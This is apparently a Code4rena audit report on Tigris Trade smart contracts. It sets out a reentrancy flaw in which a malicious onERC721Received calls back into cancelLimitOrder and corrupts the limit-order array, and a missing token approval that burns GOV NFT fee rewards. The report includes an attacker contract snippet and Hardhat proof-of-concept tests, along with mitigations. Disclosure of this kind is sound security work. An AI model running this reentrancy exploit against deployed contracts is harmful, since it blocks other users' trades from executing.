Tigris Trade contest - stealthyz's results

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Position.sol#L148 https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Position.sol#L260

Vulnerability details

Impact

A malicious actor can manipulate user token IDs in _limitOrders mapping which is located inside Position.sol by re-entering cancelLimitOrder() in Trading.sol.

_limitOrders maps all assets to their positions (aka token IDs) and these positions are fetched by the order execution bots to execute user traders via executeLimitOrder() in Trading.sol. With this exploit it is possible to replace legit user positions in this mapping to 'ghost' positions which has all fields empty (filled with zeroes) thus making the execution of these user trades impossible via a bot.

Not using a bot is not realistic since trades should be executed as fast as possible when a price limit is hit. The sponsor also said to me that the limit order execution bots use _limitOrders array to pick out position IDs to execute which in my opinion makes this finding a High. This attack wouldn't require a lot of capital since all that needs to be provided is the minimum amount of opening a limit order and the user gets their money back.

Proof of Concept

When a user initiates a limit order in Trading.sol contract he/she will mint an NFT representing the trade position.

mapping(uint256 => uint256[]) private _limitOrders; // List of limit order nft ids per asset
mapping(uint256 => mapping(uint256 => uint256)) private _limitOrderIndexes; // Keeps track of asset -> id -> array index

function mint(
        MintTrade memory _mintTrade
    ) external onlyMinter {
        uint newTokenID = _tokenIds.current();

        Trade storage newTrade = _trades[newTokenID];
        newTrade.margin = _mintTrade.margin;
        newTrade.leverage = _mintTrade.leverage;
        newTrade.asset = _mintTrade.asset;
        newTrade.direction = _mintTrade.direction;
        newTrade.price = _mintTrade.price;
        newTrade.tpPrice = _mintTrade.tp;
        newTrade.slPrice = _mintTrade.sl;
        newTrade.orderType = _mintTrade.orderType;
        newTrade.id = newTokenID;
        newTrade.tigAsset = _mintTrade.tigAsset;

        _safeMint(_mintTrade.account, newTokenID);
        // ordertype: 0 market order, 1 limit, 2 stop
        if (_mintTrade.orderType > 0) {
            _limitOrders[_mintTrade.asset].push(newTokenID);
            _limitOrderIndexes[_mintTrade.asset][newTokenID] = _limitOrders[_mintTrade.asset].length-1;
        } else {
            initId[newTokenID] = accInterestPerOi[_mintTrade.asset][_mintTrade.tigAsset][_mintTrade.direction]*int256(_mintTrade.margin*_mintTrade.leverage/1e18)/1e18;
            _openPositions.push(newTokenID);
            _openPositionsIndexes[newTokenID] = _openPositions.length-1;

            _assetOpenPositions[_mintTrade.asset].push(newTokenID);
            _assetOpenPositionsIndexes[_mintTrade.asset][newTokenID] = _assetOpenPositions[_mintTrade.asset].length-1;
        }
        _tokenIds.increment();
    }

Notice above in the mint function the _safeMint() being used instead of the standard mint() function. This safe mint will call onERC721Received() on the receiving contract which can be used to re-enter any function before the _limitOrders and _limitOrderIndexes values are changed.

Here is a simple attack smart contract function that will call the cancelLimitOrder()function in Trading.sol with the newly minted token ID:

function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4) {
    trading.cancelLimitOrder(
        _tokenId,
        address(this)
    );
    return IERC721Receiver.onERC721Received.selector;
}

function cancelLimitOrder(
    uint256 _id,
    address _trader
)
    external
{
    _validateProxy(_trader);
    _checkOwner(_id, _trader);
    IPosition.Trade memory _trade = position.trades(_id);
    if (_trade.orderType == 0) revert();
    IStable(_trade.tigAsset).mintFor(_trader, _trade.margin);
    position.burn(_id);
    emit LimitCancelled(_id, _trader);

All that cancelLimitOrder() does is check if the position is a limit order, mint us the margin back as trade.tigAsset and then call _burn(_id) in Position.sol:

function burn(uint _id) external onlyMinter {
    _burn(_id);
    uint _asset = _trades[_id].asset;
    if (_trades[_id].orderType > 0) {
        _limitOrderIndexes[_asset][_limitOrders[_asset][_limitOrders[_asset].length-1]] = _limitOrderIndexes[_asset][_id];
        _limitOrders[_asset][_limitOrderIndexes[_asset][_id]] = _limitOrders[_asset][_limitOrders[_asset].length-1];
        delete _limitOrderIndexes[_asset][_id];
        _limitOrders[_asset].pop();
    } else {
        _assetOpenPositionsIndexes[_asset][_assetOpenPositions[_asset][_assetOpenPositions[_asset].length-1]] = _assetOpenPositionsIndexes[_asset][_id];
        _assetOpenPositions[_asset][_assetOpenPositionsIndexes[_asset][_id]] = _assetOpenPositions[_asset][_assetOpenPositions[_asset].length-1];
        delete _assetOpenPositionsIndexes[_asset][_id];
        _assetOpenPositions[_asset].pop();  

        _openPositionsIndexes[_openPositions[_openPositions.length-1]] = _openPositionsIndexes[_id];
        _openPositions[_openPositionsIndexes[_id]] = _openPositions[_openPositions.length-1];
        delete _openPositionsIndexes[_id];
        _openPositions.pop();              
    }
    delete _trades[_id];
}

This is the problem part. We remember that the _limitOrders[_asset][_id] and _limitOrderIndexes[_asset][_id] for our token ID hasn't been initialized yet and they will return 0. This means that everything that is done with our '_id' in this burn function is returning a zero. The goal of this function is to take an array and remove the token with _id from it. In solidity this can be done by moving the last element of the array to the position of _id and then using .pop() method to remove the last value which is a duplicate.

We focus on the first if clause because this is a limit order (orderType > 0). _limitOrderIndexes[_asset][_limitOrders[_asset][_limitOrders[_asset].length-1]] = _limitOrderIndexes[_asset][_id]; The line above will take the index of the last element in _limitOrders and change it to the index of our token ID, which is 0. _limitOrders[_asset][_limitOrderIndexes[_asset][_id]] = _limitOrders[_asset][_limitOrders[_asset].length-1]; The line above will replace the element at index 0 with the last element in the array. The intial element that was at index 0 is now fully removed from _limitOrders[_asset] and can not be executed by a bot. This was an innocent user being sabotaged.

Our token id will be deleted from _trades mapping with delete _trades[_id].

Now we return to the initial mint() function where our id will be pushed to _limitOrders[_asset] and given an index. Our token ID data will be all zeroes because we already burned the token and claimed our margin back. If we repeat this process two times we are able to always set the first and last elements of the limit orders array to zero. Repeating this everytime someone mints a limit position we are able to make that order not execute.

Here is a test script that you can add to test/07.Trading.js file and run it. You would need to create a smart contract and implement a receiver function for the safeMint() call and approve the trading contract to spend tokens from the contract.

In real life this attack could be done by a bot that would fetch the price data from the IC canister.

it("Cancelling a limit order should give collateral back", async function () {
      // Create limit order
      // Let's first create a couple of limit orders to fill up '_limitOrders' to prevent underflow in Position.sol '_burn()'
      let MaliciousTradeInfo = [parseEther("1"), MockDAI.address, StableVault.address, parseEther("4"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let TradeInfo2 = [parseEther("2000"), MockDAI.address, StableVault.address, parseEther("20"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let TradeInfo3 = [parseEther("3000"), MockDAI.address, StableVault.address, parseEther("30"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let TradeInfo4 = [parseEther("4000"), MockDAI.address, StableVault.address, parseEther("40"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let TradeInfo5 = [parseEther("5000"), MockDAI.address, StableVault.address, parseEther("50"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];

      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
      // let Permit2 = [permitSig2.deadline, ethers.constants.MaxUint256, permitSig2.v, permitSig2.r, permitSig2.s, false];
      // let Permit3 = [permitSig3.deadline, ethers.constants.MaxUint256, permitSig3.v, permitSig3.r, permitSig3.s, false];

      await mockDai.connect(owner).approve(trading.address, ethers.constants.MaxUint256);

      // Connecting our attack contract and initiating some limit orders to make this attack practical
      await trading.connect(owner).initiateLimitOrder(TradeInfo2, 1, parseEther("20000"), PermitData, owner.address); // id = 1
      await trading.connect(owner).initiateLimitOrder(TradeInfo3, 1, parseEther("20000"), PermitData, owner.address); // id = 2
      await trading.connect(owner).initiateLimitOrder(TradeInfo4, 1, parseEther("20000"), PermitData, owner.address); // id = 3
      await trading.connect(owner).initiateLimitOrder(TradeInfo5, 1, parseEther("20000"), PermitData, owner.address); // id = 4

      let limitOrdersBefore = await position.getLimitOrder(0);
      console.log("Limit Orders Before: ", limitOrdersBefore);
      console.log(await position.getTrade(limitOrdersBefore[0]));

      // There should be four limit orders opened:
      expect(await position.limitOrdersLength(0)).to.equal(4);

      // Transfer mockDai to smart contract
      await mockDai.connect(owner).transfer(this.attackerContract.address, await mockDai.balanceOf(owner.address));
      // Approvals to move mockDai from the smart contract
      await this.attackerContract.connect(owner).approvals(owner.address, ethers.constants.MaxUint256)

      /**
      Perform the limit order initialization -> 
      mints us an NFT and calls attackerContract's 'onERC721Received()' -> 
      it calls cancelLimitOrder which calls Position.sol 'burn()' which will now operate on zero values (the main problem)

      Done only once this attack will delete the first limit order, done twice it will delete the first and last one and filling them up with 'ghost' orders (everything is zero).
      */
      for (let i=0; i<2; i++) {
        await trading.connect(owner).initiateLimitOrder(MaliciousTradeInfo, 1, parseEther("20000"), PermitData, this.attackerContract.address); // id = 5
      }

      // limitOrder length stays the same 
      expect(await position.limitOrdersLength(0)).to.equal(4); 

      // Our ghost order should be the last one and the first one is replaced by the previous last.
      console.log("Limit Orders After: ", await position.getLimitOrder(0))
      let limitOrdersAfter = await position.getLimitOrder(0);
      
      // Return our ghost trade
      console.log("Our ghost limit orders:\n index 0: \n", await position.getTrade(limitOrdersAfter[0]), "\nlast index:\n", await position.getTrade(limitOrdersAfter[3]));
      expect(await stabletoken.balanceOf(this.attackerContract.address)).to.equal(parseEther("2"));
      console.log(await position.getTrade(1))

      let PriceData = [node.address, 0, parseEther("10000"), 0, 2000000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 0, parseEther("10000"), 0, 2000000000, false]
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      await trading.connect(owner).executeLimitOrder(1, PriceData, sig);
    });

Feel free to send me follow-up questions if neccesary, I tried explaining as well as possible :).

Recommended Mitigation Steps

I recommend using the _mint() function instead of the safeMint() or then adding reentrancy guards to important functions. Also making the changes to the _limitOrders and _limitOrderIndexes before minting a token to a user would be a way to prevent this reentrancy attack.

Tools Used

Manual audit and Visual Studio Code.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L689

Vulnerability details

Impact

Outgoing opening fees are not being approved before calling the GovNFT.sol: distribute() function in Trading.sol: _handleOpenFees(). Thus they cannot be transferred to the Government NFT contract and will be burned during opening. This makes the NFTs not worth as much and also breaks the intended flow of funds in the protocol.

The faulty _handleOpenFees() function is called in:

• Trading.sol: initiateMarketOrder()
• Trading.sol: addToPosition()
• Trading.sol: executeLimitOrder()

The approval of _tigAsset is missing from Trading.sol: _handleOpenFees() function:

function _handleOpenFees(
    uint _asset,
    uint _positionSize,
    address _trader,
    address _tigAsset,
    bool _isBot
)
    internal
    returns (uint _feePaid)
{
    IPairsContract.Asset memory asset = pairsContract.idToAsset(_asset);
    Fees memory _fees = openFees;
    unchecked {
        _fees.daoFees = _fees.daoFees * asset.feeMultiplier / DIVISION_CONSTANT;
        _fees.burnFees = _fees.burnFees * asset.feeMultiplier / DIVISION_CONSTANT;
        _fees.referralFees = _fees.referralFees * asset.feeMultiplier / DIVISION_CONSTANT;
        _fees.botFees = _fees.botFees * asset.feeMultiplier / DIVISION_CONSTANT;
    }
    address _referrer = tradingExtension.getRef(_trader); //referrals.getReferral(referrals.getReferred(_trader));
    if (_referrer != address(0)) {
        unchecked {
            IStable(_tigAsset).mintFor(
                _referrer,
                _positionSize
                * _fees.referralFees // get referral fee%
                / DIVISION_CONSTANT // divide by 100%
            );
        }
        _fees.daoFees = _fees.daoFees - _fees.referralFees*2;
    }
    if (_isBot) {
        unchecked {
            IStable(_tigAsset).mintFor(
                _msgSender(),
                _positionSize
                * _fees.botFees // get bot fee%
                / DIVISION_CONSTANT // divide by 100%
            );
        }
        _fees.daoFees = _fees.daoFees - _fees.botFees;
    } else {
    _fees.botFees = 0;
    }
    unchecked {
        uint _daoFeesPaid = _positionSize * _fees.daoFees / DIVISION_CONSTANT;
        _feePaid =
            _positionSize
            * (_fees.burnFees + _fees.botFees) // get total fee%
            / DIVISION_CONSTANT // divide by 100%
            + _daoFeesPaid;
        emit FeesDistributed(
            _tigAsset,
            _daoFeesPaid,
            _positionSize * _fees.burnFees / DIVISION_CONSTANT,
            _referrer != address(0) ? _positionSize * _fees.referralFees / DIVISION_CONSTANT : 0,
            _positionSize * _fees.botFees / DIVISION_CONSTANT,
            _referrer
        );
        IStable(_tigAsset).mintFor(address(this), _daoFeesPaid);
    }
        
    gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(address(this)));
}

The approve() function should be before the last line of the function above.

Here is the distribute function, notice that it doesn't revert if the transfer of funds fails, it only returns which is why this bug is harder to notice:

/**
* @notice add rewards for NFT holders
* @param _tigAsset reward token address
* @param _amount amount to be distributed
*/
function distribute(address _tigAsset, uint _amount) external {
    if (assets.length == 0 || assets[assetsIndex[_tigAsset]] == address(0) || totalSupply() == 0 || !_allowedAsset[_tigAsset]) return;
    try IERC20(_tigAsset).transferFrom(_msgSender(), address(this), _amount) {
        accRewardsPerNFT[_tigAsset] += _amount/totalSupply();
    } catch {
        return;
    }
}

Proof of Concept

This test displays the issue, please edit test/07.Trading.js to make this work. Also add the govnft and GovNFT variables from test/05.GovNFT.js.

it("Distributing open fees does not correctly distribute to NFT holders", async function () {
  // Mint GOV NFT
  await govnft.connect(owner).mint();
  expect(await govnft.totalSupply()).to.equal(1);
  console.log("pending rewards before opening:\n ", parseInt(Number(await govnft.connect(owner).pending(owner.address, stabletoken.address)), 10));
  await stabletoken.connect(owner).setMinter(owner.address, true)
  await stabletoken.connect(owner).mintFor(owner.address, parseEther("20000"))
  await trading.connect(owner).setFees(true,3e8,1e8,1e8,1e8,1e8);
  let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, false, parseEther("10000"), parseEther("0")/* SL = 0*/, ethers.constants.HashZero];
  let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
  let message = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
      [node.address, 0, parseEther("20000"), 0, 2000000000, false]
    )
  );
  let sig = await node.signMessage(
    Buffer.from(message.substring(2), 'hex')
  );
  
  let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
  // Initiate a market order, this will call the faulty _handleOpenFees() function
  await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
  expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Trade has opened

  console.log("pending rewards after opening:\n ", parseInt(Number(await govnft.connect(owner).pending(owner.address, stabletoken.address)), 10));
});

Adding the approve function in the smart contract can be seen affect the pending rewards in the test.

Tools Used

Manual review with Visual Studio Code

Recommended Mitigation Steps

Call IStable(_tigAsset).approve(address(gov), type(uint).max); before distributing the funds to NFT holders as it is done correctly in Trading.sol: _handleCloseFees(). After thinking for a while I will be submitting this as high since assets (GOV NFT rewards) can and will be lost (burned) if not fixed.